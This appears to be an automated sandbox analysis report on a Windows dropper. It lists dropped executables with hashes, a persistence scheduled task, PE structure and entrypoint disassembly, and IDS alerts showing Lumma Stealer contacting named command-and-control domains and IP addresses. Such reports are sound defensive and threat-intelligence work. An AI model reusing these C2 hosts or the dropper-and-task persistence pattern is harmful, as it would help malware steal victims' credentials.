Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....h.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mumtztzr...........:..............@...ueaihgqr. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50NZQQK98UQJAWNGOUBIYXS.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.9507589851909195
Encrypted:	false
SSDEEP:	49152:skAfKbFtTmLVWYgrSccgEhbWnqG3jWJzhXKqXNBGHJt1QVA:XmxpeI9hbWnqG3jWR5jGHiA
MD5:	691894CFB2B4AC54F8B6864D71E1D508
SHA1:	7F1EC08333BD6BAB02D4AD66664E3B46988671E2
SHA-256:	1CA42644064A8378A1B22F16EFED292EF2BF2C58A1DC00C03DF2867A2ADD583A
SHA-512:	C2D641025D5C3906DE05C9BBE0882B9F14F39941EEB938E489DED9621DFCB81F2CDBA661852C4280A61CA9FF0EA404F2E243CAEBD765A7E9ECB00CFCC6AA2C73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k.......D....................,K.............................8,K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...goqfmtnt.....p1.....................@...dqkmyhqi.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CT05WZXFBOD5DYW9HOHXFI0FQUF.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.9507589851909195
Encrypted:	false
SSDEEP:	49152:skAfKbFtTmLVWYgrSccgEhbWnqG3jWJzhXKqXNBGHJt1QVA:XmxpeI9hbWnqG3jWR5jGHiA
MD5:	691894CFB2B4AC54F8B6864D71E1D508
SHA1:	7F1EC08333BD6BAB02D4AD66664E3B46988671E2
SHA-256:	1CA42644064A8378A1B22F16EFED292EF2BF2C58A1DC00C03DF2867A2ADD583A
SHA-512:	C2D641025D5C3906DE05C9BBE0882B9F14F39941EEB938E489DED9621DFCB81F2CDBA661852C4280A61CA9FF0EA404F2E243CAEBD765A7E9ECB00CFCC6AA2C73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k.......D....................,K.............................8,K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...goqfmtnt.....p1.....................@...dqkmyhqi.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2812416
Entropy (8bit):	6.435412133364624
Encrypted:	false
SSDEEP:	49152:nLRWhgxgje5KuhUXEPVCycqmpO3FGKubx1M8cCDT:nLRWhgxgje5KuhUXEPxcfO3icCX
MD5:	938E6EEA0676862A7785713D09C42FDB
SHA1:	3353475F1DE758F4CF32A5D9CE9F4EA1F3D11108
SHA-256:	751E9EF94A0FC16122FA9DBB8B71C5D334B9C6462834B169285B70A520D1BA03
SHA-512:	F38E84E2B482C76808EFEACF477134A2CEA1261AB36A2971D97587036515B3545FB4CF501AC7094B2103C2E71A32141A93A8C9676D2339B45B81DFAF2AEDB5ED
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....h.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mumtztzr...........:..............@...ueaihgqr. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2812416
Entropy (8bit):	6.435412133364624
Encrypted:	false
SSDEEP:	49152:nLRWhgxgje5KuhUXEPVCycqmpO3FGKubx1M8cCDT:nLRWhgxgje5KuhUXEPxcfO3icCX
MD5:	938E6EEA0676862A7785713D09C42FDB
SHA1:	3353475F1DE758F4CF32A5D9CE9F4EA1F3D11108
SHA-256:	751E9EF94A0FC16122FA9DBB8B71C5D334B9C6462834B169285B70A520D1BA03
SHA-512:	F38E84E2B482C76808EFEACF477134A2CEA1261AB36A2971D97587036515B3545FB4CF501AC7094B2103C2E71A32141A93A8C9676D2339B45B81DFAF2AEDB5ED
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....h.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mumtztzr...........:..............@...ueaihgqr. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.9507589851909195
Encrypted:	false
SSDEEP:	49152:skAfKbFtTmLVWYgrSccgEhbWnqG3jWJzhXKqXNBGHJt1QVA:XmxpeI9hbWnqG3jWR5jGHiA
MD5:	691894CFB2B4AC54F8B6864D71E1D508
SHA1:	7F1EC08333BD6BAB02D4AD66664E3B46988671E2
SHA-256:	1CA42644064A8378A1B22F16EFED292EF2BF2C58A1DC00C03DF2867A2ADD583A
SHA-512:	C2D641025D5C3906DE05C9BBE0882B9F14F39941EEB938E489DED9621DFCB81F2CDBA661852C4280A61CA9FF0EA404F2E243CAEBD765A7E9ECB00CFCC6AA2C73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k.......D....................,K.............................8,K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...goqfmtnt.....p1.....................@...dqkmyhqi.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.9507589851909195
Encrypted:	false
SSDEEP:	49152:skAfKbFtTmLVWYgrSccgEhbWnqG3jWJzhXKqXNBGHJt1QVA:XmxpeI9hbWnqG3jWR5jGHiA
MD5:	691894CFB2B4AC54F8B6864D71E1D508
SHA1:	7F1EC08333BD6BAB02D4AD66664E3B46988671E2
SHA-256:	1CA42644064A8378A1B22F16EFED292EF2BF2C58A1DC00C03DF2867A2ADD583A
SHA-512:	C2D641025D5C3906DE05C9BBE0882B9F14F39941EEB938E489DED9621DFCB81F2CDBA661852C4280A61CA9FF0EA404F2E243CAEBD765A7E9ECB00CFCC6AA2C73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k.......D....................,K.............................8,K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...goqfmtnt.....p1.....................@...dqkmyhqi.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.9507589851909195
Encrypted:	false
SSDEEP:	49152:skAfKbFtTmLVWYgrSccgEhbWnqG3jWJzhXKqXNBGHJt1QVA:XmxpeI9hbWnqG3jWR5jGHiA
MD5:	691894CFB2B4AC54F8B6864D71E1D508
SHA1:	7F1EC08333BD6BAB02D4AD66664E3B46988671E2
SHA-256:	1CA42644064A8378A1B22F16EFED292EF2BF2C58A1DC00C03DF2867A2ADD583A
SHA-512:	C2D641025D5C3906DE05C9BBE0882B9F14F39941EEB938E489DED9621DFCB81F2CDBA661852C4280A61CA9FF0EA404F2E243CAEBD765A7E9ECB00CFCC6AA2C73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k.......D....................,K.............................8,K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...goqfmtnt.....p1.....................@...dqkmyhqi.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.531903209718923
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Nhj4qyaaX86KakfGNBw82JSl:deHquOcwj0
MD5:	AAFA9411ABE72CF53F8CE157BF5CBE4B
SHA1:	9AB1F1545B9109D4A148928978E84FE5E49E59F9
SHA-256:	59875E55D1C461A23EE19A86C777ED9DE430E466E19C8091ECB8730AA0CC6E71
SHA-512:	3D2612AC4CA2A75661B7DFE38E08C73D00C0716C9DE42FFF27C4C6CD4102E84448875078F4F2E6D55338468DD9798F0F94491FD969163F0A536467815556AE4C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.531903209718923
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Nhj4qyaaX86KakfGNBw82JSl:deHquOcwj0
MD5:	AAFA9411ABE72CF53F8CE157BF5CBE4B
SHA1:	9AB1F1545B9109D4A148928978E84FE5E49E59F9
SHA-256:	59875E55D1C461A23EE19A86C777ED9DE430E466E19C8091ECB8730AA0CC6E71
SHA-512:	3D2612AC4CA2A75661B7DFE38E08C73D00C0716C9DE42FFF27C4C6CD4102E84448875078F4F2E6D55338468DD9798F0F94491FD969163F0A536467815556AE4C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3915584728447317
Encrypted:	false
SSDEEP:	6:wEGbXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lH/o1ut0:whrf2RKQ1CGAFAjzvYRQVHgct0
MD5:	E178F0A93A05325733F6B0B9D0E3113E
SHA1:	E8D7F036EB1161A9F376925F7D66AB9D466C8864
SHA-256:	354BDEFF273CCAE71EEE1B72633B432B9DA04B9EA093EF30AE5F5AA3D4357BAD
SHA-512:	001729E8A67762EB11572ED1C1B135FD3E73BCB98484B96D7F2D070A90B0146D81DDF268BD79A7D0BDD4148664320AF03E4DEE24CCE71C1DEE2E7B4AC8FBA652
Malicious:	false
Preview:	....2wu...@@...E.9..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................&.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.534881943125814
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'971'136 bytes
MD5:	6f2957621e58f125944b38c36664a91a
SHA1:	c160f49c7f5204345ac17d4f2d7d4757abf34886
SHA256:	6fc81caa454b16d31631bc1ef0e63f459291b364c6c46494c326453b78f3db2d
SHA512:	90dea9e503160c044b8d037bd72937dc60f732727940a3f675ec1c68b2dd997572eb289354ba5c0072d12ca79100701e88e89a459df7e4eaa23075661654aa63
SSDEEP:	49152:GSVTwPpW8cUU/OxP3RSClYgCs1zbAOO2:PVTwPpW8cR/8/RS2XCooOO2
TLSH:	6ED56CA2B54572DFD46B1374B627CE82AE1D07B94B204CE3A86CB47A7F63CC511B6C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........`0...........@...........................0.....v.-...@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x706000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F07344FFEAAh
sysenter
sub eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	0f59b1195a74b1541725fc658e4f63f9	False	0.9979978938087775	data	7.973254605361078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
swezfqkm	0x5b000	0x2aa000	0x2a9c00	b7880033c4c9ab7b32f21eafb16fd979	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xdynphyp	0x305000	0x1000	0x400	6de170cad4acda9ed6ea29cc7ec1e0fb	False	0.7587890625	data	5.984041979338708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x306000	0x3000	0x2200	86e8ec8f15ef51aea687d959b1962491	False	0.06043198529411765	DOS executable (COM)	0.7533947496946639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T23:36:59.381203+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	63455	1.1.1.1	53	UDP
2024-10-31T23:36:59.381203+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50139	185.215.113.16	80	TCP
2024-10-31T23:36:59.393148+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	55147	1.1.1.1	53	UDP
2024-10-31T23:36:59.404085+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	53703	1.1.1.1	53	UDP
2024-10-31T23:36:59.417968+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	52802	1.1.1.1	53	UDP
2024-10-31T23:36:59.433030+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	58895	1.1.1.1	53	UDP
2024-10-31T23:37:00.070148+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:00.070148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:00.685590+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:00.685590+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:01.381931+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:01.381931+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:02.077594+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:02.077594+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:02.915934+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T23:37:02.915934+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T23:37:04.352487+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
